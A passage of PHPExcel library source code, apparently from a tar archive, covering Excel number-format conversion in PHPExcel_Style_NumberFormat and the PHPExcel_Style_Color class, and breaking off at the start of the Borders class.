FORMAT_NUMBER = '0'; const FORMAT_NUMBER_00 = '0.00'; const FORMAT_NUMBER_COMMA_SEPARATED1 = '#,##0.00'; const FORMAT_NUMBER_COMMA_SEPARATED2 = '#,##0.00_-'; const FORMAT_PERCENTAGE = '0%'; const FORMAT_PERCENTAGE_00 = '0.00%'; const FORMAT_DATE_YYYYMMDD2 = 'yyyy-mm-dd'; const FORMAT_DATE_YYYYMMDD = 'yy-mm-dd'; const FORMAT_DATE_DDMMYYYY = 'dd/mm/yy'; const FORMAT_DATE_DMYSLASH = 'd/m/y'; const FORMAT_DATE_DMYMINUS = 'd-m-y'; const FORMAT_DATE_DMMINUS = 'd-m'; const FORMAT_DATE_MYMINUS = 'm-y'; const FORMAT_DATE_XLSX14 = 'mm-dd-yy'; const FORMAT_DATE_XLSX15 = 'd-mmm-yy'; const FORMAT_DATE_XLSX16 = 'd-mmm'; const FORMAT_DATE_XLSX17 = 'mmm-yy'; const FORMAT_DATE_XLSX22 = 'm/d/yy h:mm'; const FORMAT_DATE_DATETIME = 'd/m/y h:mm'; const FORMAT_DATE_TIME1 = 'h:mm AM/PM'; const FORMAT_DATE_TIME2 = 'h:mm:ss AM/PM'; const FORMAT_DATE_TIME3 = 'h:mm'; const FORMAT_DATE_TIME4 = 'h:mm:ss'; const FORMAT_DATE_TIME5 = 'mm:ss'; const FORMAT_DATE_TIME6 = 'h:mm:ss'; const FORMAT_DATE_TIME7 = 'i:s.S'; const FORMAT_DATE_TIME8 = 'h:mm:ss;@'; const FORMAT_DATE_YYYYMMDDSLASH = 'yy/mm/dd;@'; const FORMAT_CURRENCY_USD_SIMPLE = '"$"#,##0.00_-'; const FORMAT_CURRENCY_USD = '$#,##0_-'; const FORMAT_CURRENCY_EUR_SIMPLE = '[$EUR ]#,##0.00_-'; /** * Excel built-in number formats * * @var array */ protected static $builtInFormats; /** * Excel built-in number formats (flipped, for faster lookups) * * @var array */ protected static $flippedBuiltInFormats; /** * Format Code * * @var string */ protected $formatCode = PHPExcel_Style_NumberFormat::FORMAT_GENERAL; /** * Built-in format Code * * @var string */ protected $builtInFormatCode = 0; /** * Create a new PHPExcel_Style_NumberFormat * * @param boolean $isSupervisor Flag indicating if this is a supervisor or not * Leave this value at default unless you understand exactly what * its ramifications are * @param boolean $isConditional Flag indicating if this is a conditional style or not * Leave this value at default unless you understand exactly what * its ramifications are */ public function __construct($isSupervisor = false, $isConditional = false) { // Supervisor? parent::__construct($isSupervisor); if ($isConditional) { $this->formatCode = null; $this->builtInFormatCode = false; } } /** * Get the shared style component for the currently active cell in currently active sheet. * Only used for style supervisor * * @return PHPExcel_Style_NumberFormat */ public function getSharedComponent() { return $this->parent->getSharedComponent()->getNumberFormat(); } /** * Build style array from subcomponents * * @param array $array * @return array */ public function getStyleArray($array) { return array('numberformat' => $array); } /** * Apply styles from array * * <code> * $objPHPExcel->getActiveSheet()->getStyle('B2')->getNumberFormat()->applyFromArray( * array( * 'code' => PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_EUR_SIMPLE * ) * ); * </code> * * @param array $pStyles Array containing style information * @throws PHPExcel_Exception * @return PHPExcel_Style_NumberFormat */ public function applyFromArray($pStyles = null) { if (is_array($pStyles)) { if ($this->isSupervisor) { $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($this->getStyleArray($pStyles)); } else { if (array_key_exists('code', $pStyles)) { $this->setFormatCode($pStyles['code']); } } } else { throw new PHPExcel_Exception("Invalid style array passed."); } return $this; } /** * Get Format Code * * @return string */ public function getFormatCode() { if ($this->isSupervisor) { return $this->getSharedComponent()->getFormatCode(); } if ($this->builtInFormatCode !== false) { return self::builtInFormatCode($this->builtInFormatCode); } return $this->formatCode; } /** * Set Format Code * * @param string $pValue * @return PHPExcel_Style_NumberFormat */ public function setFormatCode($pValue = PHPExcel_Style_NumberFormat::FORMAT_GENERAL) { if ($pValue == '') { $pValue = PHPExcel_Style_NumberFormat::FORMAT_GENERAL; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('code' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->formatCode = $pValue; $this->builtInFormatCode = self::builtInFormatCodeIndex($pValue); } return $this; } /** * Get Built-In Format Code * * @return int */ public function getBuiltInFormatCode() { if ($this->isSupervisor) { return $this->getSharedComponent()->getBuiltInFormatCode(); } return $this->builtInFormatCode; } /** * Set Built-In Format Code * * @param int $pValue * @return PHPExcel_Style_NumberFormat */ public function setBuiltInFormatCode($pValue = 0) { if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('code' => self::builtInFormatCode($pValue))); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->builtInFormatCode = $pValue; $this->formatCode = self::builtInFormatCode($pValue); } return $this; } /** * Fill built-in format codes */ private static function fillBuiltInFormatCodes() { // [MS-OI29500: Microsoft Office Implementation Information for ISO/IEC-29500 Standard Compliance] // 18.8.30. numFmt (Number Format) // // The ECMA standard defines built-in format IDs // 14: "mm-dd-yy" // 22: "m/d/yy h:mm" // 37: "#,##0 ;(#,##0)" // 38: "#,##0 ;[Red](#,##0)" // 39: "#,##0.00;(#,##0.00)" // 40: "#,##0.00;[Red](#,##0.00)" // 47: "mmss.0" // KOR fmt 55: "yyyy-mm-dd" // Excel defines built-in format IDs // 14: "m/d/yyyy" // 22: "m/d/yyyy h:mm" // 37: "#,##0_);(#,##0)" // 38: "#,##0_);[Red](#,##0)" // 39: "#,##0.00_);(#,##0.00)" // 40: "#,##0.00_);[Red](#,##0.00)" // 47: "mm:ss.0" // KOR fmt 55: "yyyy/mm/dd" // Built-in format codes if (is_null(self::$builtInFormats)) { self::$builtInFormats = array(); // General self::$builtInFormats[0] = PHPExcel_Style_NumberFormat::FORMAT_GENERAL; self::$builtInFormats[1] = '0'; self::$builtInFormats[2] = '0.00'; self::$builtInFormats[3] = '#,##0'; self::$builtInFormats[4] = '#,##0.00'; self::$builtInFormats[9] = '0%'; self::$builtInFormats[10] = '0.00%'; self::$builtInFormats[11] = '0.00E+00'; self::$builtInFormats[12] = '# ?/?'; self::$builtInFormats[13] = '# ??/??'; self::$builtInFormats[14] = 'm/d/yyyy'; // Despite ECMA 'mm-dd-yy'; self::$builtInFormats[15] = 'd-mmm-yy'; self::$builtInFormats[16] = 'd-mmm'; self::$builtInFormats[17] = 'mmm-yy'; self::$builtInFormats[18] = 'h:mm AM/PM'; self::$builtInFormats[19] = 'h:mm:ss AM/PM'; self::$builtInFormats[20] = 'h:mm'; self::$builtInFormats[21] = 'h:mm:ss'; self::$builtInFormats[22] = 'm/d/yyyy h:mm'; // Despite ECMA 'm/d/yy h:mm'; self::$builtInFormats[37] = '#,##0_);(#,##0)'; // Despite ECMA '#,##0 ;(#,##0)'; self::$builtInFormats[38] = '#,##0_);[Red](#,##0)'; // Despite ECMA '#,##0 ;[Red](#,##0)'; self::$builtInFormats[39] = '#,##0.00_);(#,##0.00)'; // Despite ECMA '#,##0.00;(#,##0.00)'; self::$builtInFormats[40] = '#,##0.00_);[Red](#,##0.00)'; // Despite ECMA '#,##0.00;[Red](#,##0.00)'; self::$builtInFormats[44] = '_("$"* #,##0.00_);_("$"* \(#,##0.00\);_("$"* "-"??_);_(@_)'; self::$builtInFormats[45] = 'mm:ss'; self::$builtInFormats[46] = '[h]:mm:ss'; self::$builtInFormats[47] = 'mm:ss.0'; // Despite ECMA 'mmss.0'; self::$builtInFormats[48] = '##0.0E+0'; self::$builtInFormats[49] = '@'; // CHT self::$builtInFormats[27] = '[$-404]e/m/d'; self::$builtInFormats[30] = 'm/d/yy'; self::$builtInFormats[36] = '[$-404]e/m/d'; self::$builtInFormats[50] = '[$-404]e/m/d'; self::$builtInFormats[57] = '[$-404]e/m/d'; // THA self::$builtInFormats[59] = 't0'; self::$builtInFormats[60] = 't0.00'; self::$builtInFormats[61] = 't#,##0'; self::$builtInFormats[62] = 't#,##0.00'; self::$builtInFormats[67] = 't0%'; self::$builtInFormats[68] = 't0.00%'; self::$builtInFormats[69] = 't# ?/?'; self::$builtInFormats[70] = 't# ??/??'; // Flip array (for faster lookups) self::$flippedBuiltInFormats = array_flip(self::$builtInFormats); } } /** * Get built-in format code * * @param int $pIndex * @return string */ public static function builtInFormatCode($pIndex) { // Clean parameter $pIndex = intval($pIndex); // Ensure built-in format codes are available self::fillBuiltInFormatCodes(); // Lookup format code if (isset(self::$builtInFormats[$pIndex])) { return self::$builtInFormats[$pIndex]; } return ''; } /** * Get built-in format code index * * @param string $formatCode * @return int|boolean */ public static function builtInFormatCodeIndex($formatCode) { // Ensure built-in format codes are available self::fillBuiltInFormatCodes(); // Lookup format code if (isset(self::$flippedBuiltInFormats[$formatCode])) { return self::$flippedBuiltInFormats[$formatCode]; } return false; } /** * Get hash code * * @return string Hash code */ public function getHashCode() { if ($this->isSupervisor) { return $this->getSharedComponent()->getHashCode(); } return md5( $this->formatCode . $this->builtInFormatCode . __CLASS__ ); } /** * Search/replace values to convert Excel date/time format masks to PHP format masks * * @var array */ private static $dateFormatReplacements = array( // first remove escapes related to non-format characters '\\' => '', // 12-hour suffix 'am/pm' => 'A', // 4-digit year 'e' => 'Y', 'yyyy' => 'Y', // 2-digit year 'yy' => 'y', // first letter of month - no php equivalent 'mmmmm' => 'M', // full month name 'mmmm' => 'F', // short month name 'mmm' => 'M', // mm is minutes if time, but can also be month w/leading zero // so we try to identify times be the inclusion of a : separator in the mask // It isn't perfect, but the best way I know how ':mm' => ':i', 'mm:' => 'i:', // month leading zero 'mm' => 'm', // month no leading zero 'm' => 'n', // full day of week name 'dddd' => 'l', // short day of week name 'ddd' => 'D', // days leading zero 'dd' => 'd', // days no leading zero 'd' => 'j', // seconds 'ss' => 's', // fractional seconds - no php equivalent '.s' => '' ); /** * Search/replace values to convert Excel date/time format masks hours to PHP format masks (24 hr clock) * * @var array */ private static $dateFormatReplacements24 = array( 'hh' => 'H', 'h' => 'G' ); /** * Search/replace values to convert Excel date/time format masks hours to PHP format masks (12 hr clock) * * @var array */ private static $dateFormatReplacements12 = array( 'hh' => 'h', 'h' => 'g' ); private static function setLowercaseCallback($matches) { return mb_strtolower($matches[0]); } private static function escapeQuotesCallback($matches) { return '\\' . implode('\\', str_split($matches[1])); } private static function formatAsDate(&$value, &$format) { // strip off first part containing e.g. [$-F800] or [$USD-409] // general syntax: [$<Currency string>-<language info>] // language info is in hexadecimal $format = preg_replace('/^(\[\$[A-Z]*-[0-9A-F]*\])/i', '', $format); // OpenOffice.org uses upper-case number formats, e.g. 'YYYY', convert to lower-case; // but we don't want to change any quoted strings $format = preg_replace_callback('/(?:^|")([^"]*)(?:$|")/', array('self', 'setLowercaseCallback'), $format); // Only process the non-quoted blocks for date format characters $blocks = explode('"', $format); foreach($blocks as $key => &$block) { if ($key % 2 == 0) { $block = strtr($block, self::$dateFormatReplacements); if (!strpos($block, 'A')) { // 24-hour time format $block = strtr($block, self::$dateFormatReplacements24); } else { // 12-hour time format $block = strtr($block, self::$dateFormatReplacements12); } } } $format = implode('"', $blocks); // escape any quoted characters so that DateTime format() will render them correctly $format = preg_replace_callback('/"(.*)"/U', array('self', 'escapeQuotesCallback'), $format); $dateObj = PHPExcel_Shared_Date::ExcelToPHPObject($value); $value = $dateObj->format($format); } private static function formatAsPercentage(&$value, &$format) { if ($format === self::FORMAT_PERCENTAGE) { $value = round((100 * $value), 0) . '%'; } else { if (preg_match('/\.[#0]+/i', $format, $m)) { $s = substr($m[0], 0, 1) . (strlen($m[0]) - 1); $format = str_replace($m[0], $s, $format); } if (preg_match('/^[#0]+/', $format, $m)) { $format = str_replace($m[0], strlen($m[0]), $format); } $format = '%' . str_replace('%', 'f%%', $format); $value = sprintf($format, 100 * $value); } } private static function formatAsFraction(&$value, &$format) { $sign = ($value < 0) ? '-' : ''; $integerPart = floor(abs($value)); $decimalPart = trim(fmod(abs($value), 1), '0.'); $decimalLength = strlen($decimalPart); $decimalDivisor = pow(10, $decimalLength); $GCD = PHPExcel_Calculation_MathTrig::GCD($decimalPart, $decimalDivisor); $adjustedDecimalPart = $decimalPart/$GCD; $adjustedDecimalDivisor = $decimalDivisor/$GCD; if ((strpos($format, '0') !== false) || (strpos($format, '#') !== false) || (substr($format, 0, 3) == '? ?')) { if ($integerPart == 0) { $integerPart = ''; } $value = "$sign$integerPart $adjustedDecimalPart/$adjustedDecimalDivisor"; } else { $adjustedDecimalPart += $integerPart * $adjustedDecimalDivisor; $value = "$sign$adjustedDecimalPart/$adjustedDecimalDivisor"; } } private static function complexNumberFormatMask($number, $mask, $level = 0) { $sign = ($number < 0.0); $number = abs($number); if (strpos($mask, '.') !== false) { $numbers = explode('.', $number . '.0'); $masks = explode('.', $mask . '.0'); $result1 = self::complexNumberFormatMask($numbers[0], $masks[0], 1); $result2 = strrev(self::complexNumberFormatMask(strrev($numbers[1]), strrev($masks[1]), 1)); return (($sign) ? '-' : '') . $result1 . '.' . $result2; } $r = preg_match_all('/0+/', $mask, $result, PREG_OFFSET_CAPTURE); if ($r > 1) { $result = array_reverse($result[0]); foreach ($result as $block) { $divisor = 1 . $block[0]; $size = strlen($block[0]); $offset = $block[1]; $blockValue = sprintf( '%0' . $size . 'd', fmod($number, $divisor) ); $number = floor($number / $divisor); $mask = substr_replace($mask, $blockValue, $offset, $size); } if ($number > 0) { $mask = substr_replace($mask, $number, $offset, 0); } $result = $mask; } else { $result = $number; } return (($sign) ? '-' : '') . $result; } /** * Convert a value in a pre-defined format to a PHP string * * @param mixed $value Value to format * @param string $format Format code * @param array $callBack Callback function for additional formatting of string * @return string Formatted string */ public static function toFormattedString($value = '0', $format = PHPExcel_Style_NumberFormat::FORMAT_GENERAL, $callBack = null) { // For now we do not treat strings although section 4 of a format code affects strings if (!is_numeric($value)) { return $value; } // For 'General' format code, we just pass the value although this is not entirely the way Excel does it, // it seems to round numbers to a total of 10 digits. if (($format === PHPExcel_Style_NumberFormat::FORMAT_GENERAL) || ($format === PHPExcel_Style_NumberFormat::FORMAT_TEXT)) { return $value; } // Convert any other escaped characters to quoted strings, e.g. (\T to "T") $format = preg_replace('/(\\\(.))(?=(?:[^"]|"[^"]*")*$)/u', '"${2}"', $format); // Get the sections, there can be up to four sections, separated with a semi-colon (but only if not a quoted literal) $sections = preg_split('/(;)(?=(?:[^"]|"[^"]*")*$)/u', $format); // Extract the relevant section depending on whether number is positive, negative, or zero? // Text not supported yet. // Here is how the sections apply to various values in Excel: // 1 section: [POSITIVE/NEGATIVE/ZERO/TEXT] // 2 sections: [POSITIVE/ZERO/TEXT] [NEGATIVE] // 3 sections: [POSITIVE/TEXT] [NEGATIVE] [ZERO] // 4 sections: [POSITIVE] [NEGATIVE] [ZERO] [TEXT] switch (count($sections)) { case 1: $format = $sections[0]; break; case 2: $format = ($value >= 0) ? $sections[0] : $sections[1]; $value = abs($value); // Use the absolute value break; case 3: $format = ($value > 0) ? $sections[0] : ( ($value < 0) ? $sections[1] : $sections[2]); $value = abs($value); // Use the absolute value break; case 4: $format = ($value > 0) ? $sections[0] : ( ($value < 0) ? $sections[1] : $sections[2]); $value = abs($value); // Use the absolute value break; default: // something is wrong, just use first section $format = $sections[0]; break; } // In Excel formats, "_" is used to add spacing, // The following character indicates the size of the spacing, which we can't do in HTML, so we just use a standard space $format = preg_replace('/_./', ' ', $format); // Save format with color information for later use below $formatColor = $format; // Strip color information $color_regex = '/^\\[[a-zA-Z]+\\]/'; $format = preg_replace($color_regex, '', $format); // Let's begin inspecting the format and converting the value to a formatted string // Check for date/time characters (not inside quotes) if (preg_match('/(\[\$[A-Z]*-[0-9A-F]*\])*[hmsdy](?=(?:[^"]|"[^"]*")*$)/miu', $format, $matches)) { // datetime format self::formatAsDate($value, $format); } elseif (preg_match('/%$/', $format)) { // % number format self::formatAsPercentage($value, $format); } else { if ($format === self::FORMAT_CURRENCY_EUR_SIMPLE) { $value = 'EUR ' . sprintf('%1.2f', $value); } else { // Some non-number strings are quoted, so we'll get rid of the quotes, likewise any positional * symbols $format = str_replace(array('"', '*'), '', $format); // Find out if we need thousands separator // This is indicated by a comma enclosed by a digit placeholder: // #,# or 0,0 $useThousands = preg_match('/(#,#|0,0)/', $format); if ($useThousands) { $format = preg_replace('/0,0/', '00', $format); $format = preg_replace('/#,#/', '##', $format); } // Scale thousands, millions,... // This is indicated by a number of commas after a digit placeholder: // #, or 0.0,, $scale = 1; // same as no scale $matches = array(); if (preg_match('/(#|0)(,+)/', $format, $matches)) { $scale = pow(1000, strlen($matches[2])); // strip the commas $format = preg_replace('/0,+/', '0', $format); $format = preg_replace('/#,+/', '#', $format); } if (preg_match('/#?.*\?\/\?/', $format, $m)) { //echo 'Format mask is fractional '.$format.' <br />'; if ($value != (int)$value) { self::formatAsFraction($value, $format); } } else { // Handle the number itself // scale number $value = $value / $scale; // Strip # $format = preg_replace('/\\#/', '0', $format); $n = "/\[[^\]]+\]/"; $m = preg_replace($n, '', $format); $number_regex = "/(0+)(\.?)(0*)/"; if (preg_match($number_regex, $m, $matches)) { $left = $matches[1]; $dec = $matches[2]; $right = $matches[3]; // minimun width of formatted number (including dot) $minWidth = strlen($left) + strlen($dec) + strlen($right); if ($useThousands) { $value = number_format( $value, strlen($right), PHPExcel_Shared_String::getDecimalSeparator(), PHPExcel_Shared_String::getThousandsSeparator() ); $value = preg_replace($number_regex, $value, $format); } else { if (preg_match('/[0#]E[+-]0/i', $format)) { // Scientific format $value = sprintf('%5.2E', $value); } elseif (preg_match('/0([^\d\.]+)0/', $format)) { $value = self::complexNumberFormatMask($value, $format); } else { $sprintf_pattern = "%0$minWidth." . strlen($right) . "f"; $value = sprintf($sprintf_pattern, $value); $value = preg_replace($number_regex, $value, $format); } } } } if (preg_match('/\[\$(.*)\]/u', $format, $m)) { // Currency or Accounting $currencyFormat = $m[0]; $currencyCode = $m[1]; list($currencyCode) = explode('-', $currencyCode); if ($currencyCode == '') { $currencyCode = PHPExcel_Shared_String::getCurrencyCode(); } $value = preg_replace('/\[\$([^\]]*)\]/u', $currencyCode, $value); } } } // Escape any escaped slashes to a single slash $format = preg_replace("/\\\\/u", '\\', $format); // Additional formatting provided by callback function if ($callBack !== null) { list($writerInstance, $function) = $callBack; $value = $writerInstance->$function($value, $formatColor); } return $value; } } PHPExcel/Style/Color.php 0000644 00000037672 14642534111 0011063 0 ustar 00 <?php /** * PHPExcel_Style_Color * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Style * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Style_Color extends PHPExcel_Style_Supervisor implements PHPExcel_IComparable { /* Colors */ const COLOR_BLACK = 'FF000000'; const COLOR_WHITE = 'FFFFFFFF'; const COLOR_RED = 'FFFF0000'; const COLOR_DARKRED = 'FF800000'; const COLOR_BLUE = 'FF0000FF'; const COLOR_DARKBLUE = 'FF000080'; const COLOR_GREEN = 'FF00FF00'; const COLOR_DARKGREEN = 'FF008000'; const COLOR_YELLOW = 'FFFFFF00'; const COLOR_DARKYELLOW = 'FF808000'; /** * Indexed colors array * * @var array */ protected static $indexedColors; /** * ARGB - Alpha RGB * * @var string */ protected $argb = null; /** * Parent property name * * @var string */ protected $parentPropertyName; /** * Create a new PHPExcel_Style_Color * * @param string $pARGB ARGB value for the colour * @param boolean $isSupervisor Flag indicating if this is a supervisor or not * Leave this value at default unless you understand exactly what * its ramifications are * @param boolean $isConditional Flag indicating if this is a conditional style or not * Leave this value at default unless you understand exactly what * its ramifications are */ public function __construct($pARGB = PHPExcel_Style_Color::COLOR_BLACK, $isSupervisor = false, $isConditional = false) { // Supervisor? parent::__construct($isSupervisor); // Initialise values if (!$isConditional) { $this->argb = $pARGB; } } /** * Bind parent. Only used for supervisor * * @param mixed $parent * @param string $parentPropertyName * @return PHPExcel_Style_Color */ public function bindParent($parent, $parentPropertyName = null) { $this->parent = $parent; $this->parentPropertyName = $parentPropertyName; return $this; } /** * Get the shared style component for the currently active cell in currently active sheet. * Only used for style supervisor * * @return PHPExcel_Style_Color */ public function getSharedComponent() { switch ($this->parentPropertyName) { case 'endColor': return $this->parent->getSharedComponent()->getEndColor(); case 'color': return $this->parent->getSharedComponent()->getColor(); case 'startColor': return $this->parent->getSharedComponent()->getStartColor(); } } /** * Build style array from subcomponents * * @param array $array * @return array */ public function getStyleArray($array) { switch ($this->parentPropertyName) { case 'endColor': $key = 'endcolor'; break; case 'color': $key = 'color'; break; case 'startColor': $key = 'startcolor'; break; } return $this->parent->getStyleArray(array($key => $array)); } /** * Apply styles from array * * <code> * $objPHPExcel->getActiveSheet()->getStyle('B2')->getFont()->getColor()->applyFromArray( array('rgb' => '808080') ); * </code> * * @param array $pStyles Array containing style information * @throws PHPExcel_Exception * @return PHPExcel_Style_Color */ public function applyFromArray($pStyles = null) { if (is_array($pStyles)) { if ($this->isSupervisor) { $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($this->getStyleArray($pStyles)); } else { if (array_key_exists('rgb', $pStyles)) { $this->setRGB($pStyles['rgb']); } if (array_key_exists('argb', $pStyles)) { $this->setARGB($pStyles['argb']); } } } else { throw new PHPExcel_Exception("Invalid style array passed."); } return $this; } /** * Get ARGB * * @return string */ public function getARGB() { if ($this->isSupervisor) { return $this->getSharedComponent()->getARGB(); } return $this->argb; } /** * Set ARGB * * @param string $pValue * @return PHPExcel_Style_Color */ public function setARGB($pValue = PHPExcel_Style_Color::COLOR_BLACK) { if ($pValue == '') { $pValue = PHPExcel_Style_Color::COLOR_BLACK; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('argb' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->argb = $pValue; } return $this; } /** * Get RGB * * @return string */ public function getRGB() { if ($this->isSupervisor) { return $this->getSharedComponent()->getRGB(); } return substr($this->argb, 2); } /** * Set RGB * * @param string $pValue RGB value * @return PHPExcel_Style_Color */ public function setRGB($pValue = '000000') { if ($pValue == '') { $pValue = '000000'; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('argb' => 'FF' . $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->argb = 'FF' . $pValue; } return $this; } /** * Get a specified colour component of an RGB value * * @private * @param string $RGB The colour as an RGB value (e.g. FF00CCCC or CCDDEE * @param int $offset Position within the RGB value to extract * @param boolean $hex Flag indicating whether the component should be returned as a hex or a * decimal value * @return string The extracted colour component */ private static function getColourComponent($RGB, $offset, $hex = true) { $colour = substr($RGB, $offset, 2); if (!$hex) { $colour = hexdec($colour); } return $colour; } /** * Get the red colour component of an RGB value * * @param string $RGB The colour as an RGB value (e.g. FF00CCCC or CCDDEE * @param boolean $hex Flag indicating whether the component should be returned as a hex or a * decimal value * @return string The red colour component */ public static function getRed($RGB, $hex = true) { return self::getColourComponent($RGB, strlen($RGB) - 6, $hex); } /** * Get the green colour component of an RGB value * * @param string $RGB The colour as an RGB value (e.g. FF00CCCC or CCDDEE * @param boolean $hex Flag indicating whether the component should be returned as a hex or a * decimal value * @return string The green colour component */ public static function getGreen($RGB, $hex = true) { return self::getColourComponent($RGB, strlen($RGB) - 4, $hex); } /** * Get the blue colour component of an RGB value * * @param string $RGB The colour as an RGB value (e.g. FF00CCCC or CCDDEE * @param boolean $hex Flag indicating whether the component should be returned as a hex or a * decimal value * @return string The blue colour component */ public static function getBlue($RGB, $hex = true) { return self::getColourComponent($RGB, strlen($RGB) - 2, $hex); } /** * Adjust the brightness of a color * * @param string $hex The colour as an RGBA or RGB value (e.g. FF00CCCC or CCDDEE) * @param float $adjustPercentage The percentage by which to adjust the colour as a float from -1 to 1 * @return string The adjusted colour as an RGBA or RGB value (e.g. FF00CCCC or CCDDEE) */ public static function changeBrightness($hex, $adjustPercentage) { $rgba = (strlen($hex) == 8); $red = self::getRed($hex, false); $green = self::getGreen($hex, false); $blue = self::getBlue($hex, false); if ($adjustPercentage > 0) { $red += (255 - $red) * $adjustPercentage; $green += (255 - $green) * $adjustPercentage; $blue += (255 - $blue) * $adjustPercentage; } else { $red += $red * $adjustPercentage; $green += $green * $adjustPercentage; $blue += $blue * $adjustPercentage; } if ($red < 0) { $red = 0; } elseif ($red > 255) { $red = 255; } if ($green < 0) { $green = 0; } elseif ($green > 255) { $green = 255; } if ($blue < 0) { $blue = 0; } elseif ($blue > 255) { $blue = 255; } $rgb = strtoupper( str_pad(dechex($red), 2, '0', 0) . str_pad(dechex($green), 2, '0', 0) . str_pad(dechex($blue), 2, '0', 0) ); return (($rgba) ? 'FF' : '') . $rgb; } /** * Get indexed color * * @param int $pIndex Index entry point into the colour array * @param boolean $background Flag to indicate whether default background or foreground colour * should be returned if the indexed colour doesn't exist * @return PHPExcel_Style_Color */ public static function indexedColor($pIndex, $background = false) { // Clean parameter $pIndex = intval($pIndex); // Indexed colors if (is_null(self::$indexedColors)) { self::$indexedColors = array( 1 => 'FF000000', // System Colour #1 - Black 2 => 'FFFFFFFF', // System Colour #2 - White 3 => 'FFFF0000', // System Colour #3 - Red 4 => 'FF00FF00', // System Colour #4 - Green 5 => 'FF0000FF', // System Colour #5 - Blue 6 => 'FFFFFF00', // System Colour #6 - Yellow 7 => 'FFFF00FF', // System Colour #7- Magenta 8 => 'FF00FFFF', // System Colour #8- Cyan 9 => 'FF800000', // Standard Colour #9 10 => 'FF008000', // Standard Colour #10 11 => 'FF000080', // Standard Colour #11 12 => 'FF808000', // Standard Colour #12 13 => 'FF800080', // Standard Colour #13 14 => 'FF008080', // Standard Colour #14 15 => 'FFC0C0C0', // Standard Colour #15 16 => 'FF808080', // Standard Colour #16 17 => 'FF9999FF', // Chart Fill Colour #17 18 => 'FF993366', // Chart Fill Colour #18 19 => 'FFFFFFCC', // Chart Fill Colour #19 20 => 'FFCCFFFF', // Chart Fill Colour #20 21 => 'FF660066', // Chart Fill Colour #21 22 => 'FFFF8080', // Chart Fill Colour #22 23 => 'FF0066CC', // Chart Fill Colour #23 24 => 'FFCCCCFF', // Chart Fill Colour #24 25 => 'FF000080', // Chart Line Colour #25 26 => 'FFFF00FF', // Chart Line Colour #26 27 => 'FFFFFF00', // Chart Line Colour #27 28 => 'FF00FFFF', // Chart Line Colour #28 29 => 'FF800080', // Chart Line Colour #29 30 => 'FF800000', // Chart Line Colour #30 31 => 'FF008080', // Chart Line Colour #31 32 => 'FF0000FF', // Chart Line Colour #32 33 => 'FF00CCFF', // Standard Colour #33 34 => 'FFCCFFFF', // Standard Colour #34 35 => 'FFCCFFCC', // Standard Colour #35 36 => 'FFFFFF99', // Standard Colour #36 37 => 'FF99CCFF', // Standard Colour #37 38 => 'FFFF99CC', // Standard Colour #38 39 => 'FFCC99FF', // Standard Colour #39 40 => 'FFFFCC99', // Standard Colour #40 41 => 'FF3366FF', // Standard Colour #41 42 => 'FF33CCCC', // Standard Colour #42 43 => 'FF99CC00', // Standard Colour #43 44 => 'FFFFCC00', // Standard Colour #44 45 => 'FFFF9900', // Standard Colour #45 46 => 'FFFF6600', // Standard Colour #46 47 => 'FF666699', // Standard Colour #47 48 => 'FF969696', // Standard Colour #48 49 => 'FF003366', // Standard Colour #49 50 => 'FF339966', // Standard Colour #50 51 => 'FF003300', // Standard Colour #51 52 => 'FF333300', // Standard Colour #52 53 => 'FF993300', // Standard Colour #53 54 => 'FF993366', // Standard Colour #54 55 => 'FF333399', // Standard Colour #55 56 => 'FF333333' // Standard Colour #56 ); } if (array_key_exists($pIndex, self::$indexedColors)) { return new PHPExcel_Style_Color(self::$indexedColors[$pIndex]); } if ($background) { return new PHPExcel_Style_Color(self::COLOR_WHITE); } return new PHPExcel_Style_Color(self::COLOR_BLACK); } /** * Get hash code * * @return string Hash code */ public function getHashCode() { if ($this->isSupervisor) { return $this->getSharedComponent()->getHashCode(); } return md5( $this->argb . __CLASS__ ); } } PHPExcel/Style/Borders.php 0000644 00000030420 14642534111 0011365 0 ustar 00 <?php /** * PHPExcel_Style_Borders * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Style * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Style_Borders extends PHPExcel_Style_Supervisor implements PHPExcel_IComparable { /* Diagonal directions */ const DIAGONAL_NONE = 0; const DIAGONAL_UP = 1; const DIAGONAL_DOWN = 2; const DIAGONAL_BOTH = 3; /** * Left * * @var 